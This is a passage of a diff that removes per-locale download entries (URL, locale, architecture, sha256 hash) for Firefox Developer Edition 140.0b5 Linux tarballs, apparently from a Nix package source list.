-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/th/firefox-140.0b5.tar.xz";
-      locale = "th";
-      arch = "linux-x86_64";
-      sha256 = "26f91bf692ab8e1ded4f1cdd7701786098c4019ee5cbf55abc5c7ed1dabb1e70";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/tl/firefox-140.0b5.tar.xz";
-      locale = "tl";
-      arch = "linux-x86_64";
-      sha256 = "4f143b73ee41bcaa442db99e65a86f47d2f517e854fdaea51ac32f23acc51feb";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/tr/firefox-140.0b5.tar.xz";
-      locale = "tr";
-      arch = "linux-x86_64";
-      sha256 = "4804e037f5f1c77d94f539a7ecf55ed1fd76e24a240276a32274d1bab8b78f0f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/trs/firefox-140.0b5.tar.xz";
-      locale = "trs";
-      arch = "linux-x86_64";
-      sha256 = "0eecf30a34a7253efb99fd12f354dda39aba1a967ef9fdc2491399a7fa2d6f83";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/uk/firefox-140.0b5.tar.xz";
-      locale = "uk";
-      arch = "linux-x86_64";
-      sha256 = "1676a467fc60e18d7625a2d8ff56447ee2d324ece1798f2a72e01fdd04b07590";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/ur/firefox-140.0b5.tar.xz";
-      locale = "ur";
-      arch = "linux-x86_64";
-      sha256 = "d1be9330ced56239b4b060fa0840dc66e0eb6672e56b7c53ee6d3a9a7ab66497";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/uz/firefox-140.0b5.tar.xz";
-      locale = "uz";
-      arch = "linux-x86_64";
-      sha256 = "fba3e9e66bae2d51de4d619c878434794a31928a6f17198b88cf9b3611b5dd8b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/vi/firefox-140.0b5.tar.xz";
-      locale = "vi";
-      arch = "linux-x86_64";
-      sha256 = "389182910fc820cd7742b6adb9693c6d819e7ef18d8d59c3947d742f863858c4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/xh/firefox-140.0b5.tar.xz";
-      locale = "xh";
-      arch = "linux-x86_64";
-      sha256 = "54a8be4548e339b09d8f0a580e21dcfaf6b805879cc4b11d322ad1c7e61814c3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/zh-CN/firefox-140.0b5.tar.xz";
-      locale = "zh-CN";
-      arch = "linux-x86_64";
-      sha256 = "910a3c47ad88ce41190640d00d13b9bce983fe82b1b424c2e0ea8ffdc46cb8c7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-x86_64/zh-TW/firefox-140.0b5.tar.xz";
-      locale = "zh-TW";
-      arch = "linux-x86_64";
-      sha256 = "084aef73cc86d91d0de87756d24c10bd9408d669766be163ef2ca654255d3ad2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ach/firefox-140.0b5.tar.xz";
-      locale = "ach";
-      arch = "linux-i686";
-      sha256 = "31b38971dbb4179219abebba2e4af9ebc7408cc22efa7d509a6d2e95e4483d31";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/af/firefox-140.0b5.tar.xz";
-      locale = "af";
-      arch = "linux-i686";
-      sha256 = "088d709c208f5b6c61ac3b2c9f92b1033f2f4e12ec8c59d6818e489f83c6ce7a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/an/firefox-140.0b5.tar.xz";
-      locale = "an";
-      arch = "linux-i686";
-      sha256 = "2f6ea2031c3297c08acf4129727c439839a8187169caaa3cfb4f7e0af435c0d7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ar/firefox-140.0b5.tar.xz";
-      locale = "ar";
-      arch = "linux-i686";
-      sha256 = "f655136b09c77116ea3a34ff249233e704630f82fbeeca4e69e536e6cf54e5f4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ast/firefox-140.0b5.tar.xz";
-      locale = "ast";
-      arch = "linux-i686";
-      sha256 = "bc037b74217b18486f22f749150c43fdd5832f9468fcd78f874d686af07f9d12";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/az/firefox-140.0b5.tar.xz";
-      locale = "az";
-      arch = "linux-i686";
-      sha256 = "7518cb0f99987c58c6974073e207b3d61acf0da2205113c5b2850e017d96ef6a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/be/firefox-140.0b5.tar.xz";
-      locale = "be";
-      arch = "linux-i686";
-      sha256 = "3e282507c63ba8c1cae72de29776aa0acafee8d3ce761e08cd6be80679de5806";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/bg/firefox-140.0b5.tar.xz";
-      locale = "bg";
-      arch = "linux-i686";
-      sha256 = "802ad40c1faf63046840e79268ab2c1f57e07976c61c0b88569c0ae6b1fa1126";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/bn/firefox-140.0b5.tar.xz";
-      locale = "bn";
-      arch = "linux-i686";
-      sha256 = "0d7e8b4014c21fcd432026a0ba8ec404fb29e19788ce781703e3c66af888c989";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/br/firefox-140.0b5.tar.xz";
-      locale = "br";
-      arch = "linux-i686";
-      sha256 = "73e555c48f77650ac03e23f914bf555bb680aa43cdf31611149b5605106fbd6f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/bs/firefox-140.0b5.tar.xz";
-      locale = "bs";
-      arch = "linux-i686";
-      sha256 = "b21e377b6fd7caab4b3296936bff662e3798ebee398d81569937e14b3a7911c9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ca-valencia/firefox-140.0b5.tar.xz";
-      locale = "ca-valencia";
-      arch = "linux-i686";
-      sha256 = "5c6e85f38e21832b4bde1a818b013559ca0afc13877b84f31e2fd0fd15d23110";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ca/firefox-140.0b5.tar.xz";
-      locale = "ca";
-      arch = "linux-i686";
-      sha256 = "636fa17ab60cc9229d6def795fdd225104455d5c39764af63534f8c9cbeb038f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/cak/firefox-140.0b5.tar.xz";
-      locale = "cak";
-      arch = "linux-i686";
-      sha256 = "c1a802e80a78e50504c0134071f83ecffdfe8ec96960ab6b13c586b29bc7b6d9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/cs/firefox-140.0b5.tar.xz";
-      locale = "cs";
-      arch = "linux-i686";
-      sha256 = "2f91cc15d3c298c70c41ec327c462bff3a25bd84a292a731ef0ede406253aa22";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/cy/firefox-140.0b5.tar.xz";
-      locale = "cy";
-      arch = "linux-i686";
-      sha256 = "dbaa4dd4487b3851c82ae57157076197df67eb51d635dce9ba4bdc107c121ea6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/da/firefox-140.0b5.tar.xz";
-      locale = "da";
-      arch = "linux-i686";
-      sha256 = "e70bad35611124a24952eb7e5eefb2e40df4d7c91998fa62f8da1d73c468f6f8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/de/firefox-140.0b5.tar.xz";
-      locale = "de";
-      arch = "linux-i686";
-      sha256 = "ad4a122375d2bbf9d5f53d8001a13e7655b42f7cd1e8f85c4ccdeb5a1fcb29bb";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/dsb/firefox-140.0b5.tar.xz";
-      locale = "dsb";
-      arch = "linux-i686";
-      sha256 = "cf60d3e0baa038a8e8541ff60df61f992d2e8924f8b623a853f1c18b6b621c70";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/el/firefox-140.0b5.tar.xz";
-      locale = "el";
-      arch = "linux-i686";
-      sha256 = "c182514ffe63d2f89f048034df5cbab78503a0c0604abe01beb3877be052fa83";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/en-CA/firefox-140.0b5.tar.xz";
-      locale = "en-CA";
-      arch = "linux-i686";
-      sha256 = "2e35526cfbf9ec90ca05e03086eb8ed38126c7df4e2019549b071b1fc1c702c9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/en-GB/firefox-140.0b5.tar.xz";
-      locale = "en-GB";
-      arch = "linux-i686";
-      sha256 = "faffc77533d11a3c95ae03604cea6d89724fd3888b80a75d3d294ba0e1a3738a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/en-US/firefox-140.0b5.tar.xz";
-      locale = "en-US";
-      arch = "linux-i686";
-      sha256 = "6b4c4042ebba0447e2abdba1492f74a3d64294c08f6ead9486389df079719511";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/eo/firefox-140.0b5.tar.xz";
-      locale = "eo";
-      arch = "linux-i686";
-      sha256 = "7533ece466a96dbde70e989b65f6cb54d932198b1c0b14a436513a23dbf70d73";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/es-AR/firefox-140.0b5.tar.xz";
-      locale = "es-AR";
-      arch = "linux-i686";
-      sha256 = "3f9f4246aa07b6e4eebb829147b6b36677f640d4165f0309e573577abdec0090";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/es-CL/firefox-140.0b5.tar.xz";
-      locale = "es-CL";
-      arch = "linux-i686";
-      sha256 = "d38573e34c9e65d91bb2183e6a4b2dae26746a3906eaf61326810da7c16b6b60";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/es-ES/firefox-140.0b5.tar.xz";
-      locale = "es-ES";
-      arch = "linux-i686";
-      sha256 = "31a88ca04d74fa7e9276090eb75c5605cae5e560b4383b2308486dd31b6aac2c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/es-MX/firefox-140.0b5.tar.xz";
-      locale = "es-MX";
-      arch = "linux-i686";
-      sha256 = "dba3c5ee85d385c9ba25bc30f6c1dad03d942f5ef8263dfdcfc92daff280fc94";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/et/firefox-140.0b5.tar.xz";
-      locale = "et";
-      arch = "linux-i686";
-      sha256 = "9be9acf89163402f93ace157412617d6a4b4cc15c657d7053eb1237029738e80";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/eu/firefox-140.0b5.tar.xz";
-      locale = "eu";
-      arch = "linux-i686";
-      sha256 = "519305e7e193995715b89a21dc2a625071fbdf3ac65aef24ce5a8617864b3acc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/fa/firefox-140.0b5.tar.xz";
-      locale = "fa";
-      arch = "linux-i686";
-      sha256 = "238f5f7b0d5fc5bdc407e64ad1daeebb411360f1f2bca8190593dd477ef36ffd";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ff/firefox-140.0b5.tar.xz";
-      locale = "ff";
-      arch = "linux-i686";
-      sha256 = "198c8ad774c8cfae507024576afd485a16d4d7d1e83ccae711151ab90b19b625";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/fi/firefox-140.0b5.tar.xz";
-      locale = "fi";
-      arch = "linux-i686";
-      sha256 = "659adb1e73e8797637a2c2e0d035d1e17423d2a50aa1ef9545b20ce80471df52";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/fr/firefox-140.0b5.tar.xz";
-      locale = "fr";
-      arch = "linux-i686";
-      sha256 = "4681342dfdd4dad61553a441eddfcb6fd4e682ccaa8b8d62bf13c052845b34be";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/fur/firefox-140.0b5.tar.xz";
-      locale = "fur";
-      arch = "linux-i686";
-      sha256 = "5bc884aed861946b0672b21bc109ef022246bdd2db03efb18e368f16a676494b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/fy-NL/firefox-140.0b5.tar.xz";
-      locale = "fy-NL";
-      arch = "linux-i686";
-      sha256 = "168b6a3e1a9ca5bf492042ac69d837bb33ae596e94e3dcae08a74121f2074084";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ga-IE/firefox-140.0b5.tar.xz";
-      locale = "ga-IE";
-      arch = "linux-i686";
-      sha256 = "338d580883071a761bec3e3da24d35ffc052eb17629f6f2443febb88c2c03199";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/gd/firefox-140.0b5.tar.xz";
-      locale = "gd";
-      arch = "linux-i686";
-      sha256 = "7ef232669d13c123ff4cc1f90860006118535e29d309e62bda58680327f94441";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/gl/firefox-140.0b5.tar.xz";
-      locale = "gl";
-      arch = "linux-i686";
-      sha256 = "bd5e5f72002d0bbaa383ce42ec93b604d783403439f8833579e2efbb07a4c7bd";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/gn/firefox-140.0b5.tar.xz";
-      locale = "gn";
-      arch = "linux-i686";
-      sha256 = "7e625da091883d57f8aa7ed3ec060feba9328c55b735de718777b76222fd0e82";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/gu-IN/firefox-140.0b5.tar.xz";
-      locale = "gu-IN";
-      arch = "linux-i686";
-      sha256 = "95e9aff8285cb9aafe2214d6dce93d263c281a0764d1c2b156d75c11de182e0d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/he/firefox-140.0b5.tar.xz";
-      locale = "he";
-      arch = "linux-i686";
-      sha256 = "1d19868991246f680f80ce6345791872590556393a27c7ddf95cf88044a9966d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/hi-IN/firefox-140.0b5.tar.xz";
-      locale = "hi-IN";
-      arch = "linux-i686";
-      sha256 = "f8b88f626cc9877fb18b3c14738f53866e60e9a2eac65f76efcd33c52f5342bf";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/hr/firefox-140.0b5.tar.xz";
-      locale = "hr";
-      arch = "linux-i686";
-      sha256 = "5044709e5e8a7833ebeb776ef2452b6b649e8772d3755c05e27cec934b9e4146";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/hsb/firefox-140.0b5.tar.xz";
-      locale = "hsb";
-      arch = "linux-i686";
-      sha256 = "a0be36a177558e786fa83d570dd474e820f871c1a8b2a271b860b1e3d9a11202";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/hu/firefox-140.0b5.tar.xz";
-      locale = "hu";
-      arch = "linux-i686";
-      sha256 = "d047f4eab64cd13b150687d0ee8ac0f2a6742f31bd0466d3f07005c2c36c6045";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/hy-AM/firefox-140.0b5.tar.xz";
-      locale = "hy-AM";
-      arch = "linux-i686";
-      sha256 = "0041adc487a2a6ad619ddedf225edbc1bcb0ccffa547d57c962312a0fefd45dc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ia/firefox-140.0b5.tar.xz";
-      locale = "ia";
-      arch = "linux-i686";
-      sha256 = "df8f85019145dc181a1ba2ce3e4d38fc076d4a269bf55c9f8c84cba3564c599e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/id/firefox-140.0b5.tar.xz";
-      locale = "id";
-      arch = "linux-i686";
-      sha256 = "12f0c14b9fae63ba2bb43f2f5cd42ee7eaa93666d1c592549d4bd34b5a1dc5a8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/is/firefox-140.0b5.tar.xz";
-      locale = "is";
-      arch = "linux-i686";
-      sha256 = "a0dd980be044409d5ff9ce9063130338399dd8be0221f3ac05d2296c36f666a9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/it/firefox-140.0b5.tar.xz";
-      locale = "it";
-      arch = "linux-i686";
-      sha256 = "3da4194adb4d2fe2003357f8fdda6ac9bcbfc0157a5b9d1a47784184a97ec901";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ja/firefox-140.0b5.tar.xz";
-      locale = "ja";
-      arch = "linux-i686";
-      sha256 = "d088fd24e8b02ee67e6c9214c63543d82141062c6ed135c0b4c60bfe79135c45";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ka/firefox-140.0b5.tar.xz";
-      locale = "ka";
-      arch = "linux-i686";
-      sha256 = "9c3c6266e37138bb3f9af48b6a4f9dcebccfc356fa2785a800180dca3f1b0513";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/kab/firefox-140.0b5.tar.xz";
-      locale = "kab";
-      arch = "linux-i686";
-      sha256 = "1b3fa3bb800bf323210af14329529f4211ffb637281c69c7cde0e3c017dbeccb";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/kk/firefox-140.0b5.tar.xz";
-      locale = "kk";
-      arch = "linux-i686";
-      sha256 = "75938c7f4bd5af50df2ebb88275b7cc597342b9423b4e5a84b99fc3a5205e4e3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/km/firefox-140.0b5.tar.xz";
-      locale = "km";
-      arch = "linux-i686";
-      sha256 = "f96fb28c8c1136e082140732b290c928c9bd7dce3b06b0bab066b38471dc3cc9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/kn/firefox-140.0b5.tar.xz";
-      locale = "kn";
-      arch = "linux-i686";
-      sha256 = "6bd3d219077118ef67c1ebbb803c857dc04c674607ae264b0946247b870f81ba";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ko/firefox-140.0b5.tar.xz";
-      locale = "ko";
-      arch = "linux-i686";
-      sha256 = "37540ac5c5e624d11125ed9673292ccafa35be4e6e662c8c9786beac2fb321ec";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/lij/firefox-140.0b5.tar.xz";
-      locale = "lij";
-      arch = "linux-i686";
-      sha256 = "c7bcc816b14aa145d48fd5076effc4f00d79432ae12b5714fae8d0550918686d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/lt/firefox-140.0b5.tar.xz";
-      locale = "lt";
-      arch = "linux-i686";
-      sha256 = "3c6b7495391e8e59d1cf2085ee4d7850989b4112cb9e68206bc75f0e20acf4de";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/lv/firefox-140.0b5.tar.xz";
-      locale = "lv";
-      arch = "linux-i686";
-      sha256 = "add8c79b308fe6b4a12db0342cd1c4036e6e1a6007bfdade4c90c6e5a612493d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/mk/firefox-140.0b5.tar.xz";
-      locale = "mk";
-      arch = "linux-i686";
-      sha256 = "0ef1d0d8ba0550f1cd1ed9ff80b18a19f4a9abe4e2861709883c4e0011fabd0d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/mr/firefox-140.0b5.tar.xz";
-      locale = "mr";
-      arch = "linux-i686";
-      sha256 = "124145c79a65804bca92a11586b3f420e093d7d84f068b61e9a0c8ea9a17df62";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ms/firefox-140.0b5.tar.xz";
-      locale = "ms";
-      arch = "linux-i686";
-      sha256 = "e3ee714e18c5a8ecdedd3f53fe8825054ddc2f12943bce3952aad9840093665e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/my/firefox-140.0b5.tar.xz";
-      locale = "my";
-      arch = "linux-i686";
-      sha256 = "09aa50674311c91c6894ad159289922c1344a0f80b29e2273d9126a57e47dd87";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/nb-NO/firefox-140.0b5.tar.xz";
-      locale = "nb-NO";
-      arch = "linux-i686";
-      sha256 = "3f61fce6f15fd873eb33a8deac9b11c0f0e835c81e48ecdd615f2358678227e4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ne-NP/firefox-140.0b5.tar.xz";
-      locale = "ne-NP";
-      arch = "linux-i686";
-      sha256 = "28a5ad4cd3691b9fd8b56203810e0071667370773cc725dc85a6918082b3a98e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/nl/firefox-140.0b5.tar.xz";
-      locale = "nl";
-      arch = "linux-i686";
-      sha256 = "eb6aaf0fd490205fb55a50422363c49cb2e9334e8d9b17589f90bcdae2eda99e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/nn-NO/firefox-140.0b5.tar.xz";
-      locale = "nn-NO";
-      arch = "linux-i686";
-      sha256 = "225b9dd0b61653a729946b7e2a694998486e10397cae85b1aca6bff7d81a70d6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/oc/firefox-140.0b5.tar.xz";
-      locale = "oc";
-      arch = "linux-i686";
-      sha256 = "4cbbdae996545ecfb2b0503fae50986cef6fceccbe72d68eee301f1a0a83c5a0";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/pa-IN/firefox-140.0b5.tar.xz";
-      locale = "pa-IN";
-      arch = "linux-i686";
-      sha256 = "71e3e3aa45afd446fc060600c475f1efed29856f99c5f8eddc009a4197758776";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/pl/firefox-140.0b5.tar.xz";
-      locale = "pl";
-      arch = "linux-i686";
-      sha256 = "928e1b89d48c504ceef9622ccee53b1e73bf007160de8c2a47fe27679700a217";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/pt-BR/firefox-140.0b5.tar.xz";
-      locale = "pt-BR";
-      arch = "linux-i686";
-      sha256 = "a6641527d0bb48f1ebd0e943a1b6520cb20fdc017a99781996ee7cb3224d432f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/pt-PT/firefox-140.0b5.tar.xz";
-      locale = "pt-PT";
-      arch = "linux-i686";
-      sha256 = "73ff19ebdc38f46a463bd850df6529e73260be52892e54cbc809f3ce22a910e8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/rm/firefox-140.0b5.tar.xz";
-      locale = "rm";
-      arch = "linux-i686";
-      sha256 = "a770b4d0efcb405f06c493064a252b1171d0f4a9676e2305ac6a7ebbd94bd415";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ro/firefox-140.0b5.tar.xz";
-      locale = "ro";
-      arch = "linux-i686";
-      sha256 = "9dc409c431468cdd06b17fc4341eb9e32952cfa09a49b666c50ca926ed18c168";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ru/firefox-140.0b5.tar.xz";
-      locale = "ru";
-      arch = "linux-i686";
-      sha256 = "70c0285e2c6d0a9e4b9f0ebe7f1704fbebd0c116f145dc2efccb31564c44ec90";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/sat/firefox-140.0b5.tar.xz";
-      locale = "sat";
-      arch = "linux-i686";
-      sha256 = "a31c13e572411b3a21ad460335bee076012ee0fcb736156b0d0adacd2e16d685";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/sc/firefox-140.0b5.tar.xz";
-      locale = "sc";
-      arch = "linux-i686";
-      sha256 = "4e2452c54842dfabe8ef514766c6678023260ed0ca621cf95f1a38a855358eb0";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/sco/firefox-140.0b5.tar.xz";
-      locale = "sco";
-      arch = "linux-i686";
-      sha256 = "964377cb40cdf509a0117b7b18eeebfef92807502ba93b8d0744cabc19590d1f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/si/firefox-140.0b5.tar.xz";
-      locale = "si";
-      arch = "linux-i686";
-      sha256 = "046f379314acc324d62aa2e4fc3fe06b1cbf4506609029c9e9694ab44ab31efc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/sk/firefox-140.0b5.tar.xz";
-      locale = "sk";
-      arch = "linux-i686";
-      sha256 = "c0b3443e765be546c04d609150cd0d0aebcfa83f8142da85ad6af921e2a286af";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/skr/firefox-140.0b5.tar.xz";
-      locale = "skr";
-      arch = "linux-i686";
-      sha256 = "ef7d2d23ad027e4d263d61e1d581fb6b6e3e8f75567d46f6cc2d769034dfa822";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/sl/firefox-140.0b5.tar.xz";
-      locale = "sl";
-      arch = "linux-i686";
-      sha256 = "b2c87ac86184c0860c35e11ed46205c695cbcd9efc68dc6253754161cb1bb4ba";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/son/firefox-140.0b5.tar.xz";
-      locale = "son";
-      arch = "linux-i686";
-      sha256 = "a7588f9989c1ade6420dc81d3192a74283b63fa62d2968e98604cb10e6e2a079";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/sq/firefox-140.0b5.tar.xz";
-      locale = "sq";
-      arch = "linux-i686";
-      sha256 = "b0930917909caa42a400471105887dee86af422c3faea00d41f79826e11f4b6c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/sr/firefox-140.0b5.tar.xz";
-      locale = "sr";
-      arch = "linux-i686";
-      sha256 = "4fd3e9643e6835053dfa9e41857aa4858513f5e0e51155ccde6fc74f13f85755";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/sv-SE/firefox-140.0b5.tar.xz";
-      locale = "sv-SE";
-      arch = "linux-i686";
-      sha256 = "2604b9a5e6204d90799a2deb7a5fe0428265b857c073304c8633de4f410db45d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/szl/firefox-140.0b5.tar.xz";
-      locale = "szl";
-      arch = "linux-i686";
-      sha256 = "cfa4729ce0645fb581b00b10cf46784d6c5bc44f1fa313e3ec2476f85c7b993a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/ta/firefox-140.0b5.tar.xz";
-      locale = "ta";
-      arch = "linux-i686";
-      sha256 = "7293bd556ab5ba7af783b732047ae4735445a2cedf3cdf633cb71c6181c6cd45";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/te/firefox-140.0b5.tar.xz";
-      locale = "te";
-      arch = "linux-i686";
-      sha256 = "245e23da711630d327092b23bedc30bb43abbab850a02e7d794ee871212200c2";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/tg/firefox-140.0b5.tar.xz";
-      locale = "tg";
-      arch = "linux-i686";
-      sha256 = "562caf3ad16817c9fab7031d6eb95cbab162e937577a1b7b3adcd25556e5e83e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/th/firefox-140.0b5.tar.xz";
-      locale = "th";
-      arch = "linux-i686";
-      sha256 = "09b77a463e1d587e90f0761ceedaff1dbfa9618b3615da9c1c217a968b1a099a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-i686/tl/firefox-140.0b5.tar.xz";
-      locale = "tl";
-      arch = "linux-i686";
-      sha256 = "2a7edc4e6f8437564817e07bf6a70360c0cb13cba796f1e5f5d75e9a9a2ada03";
-    }
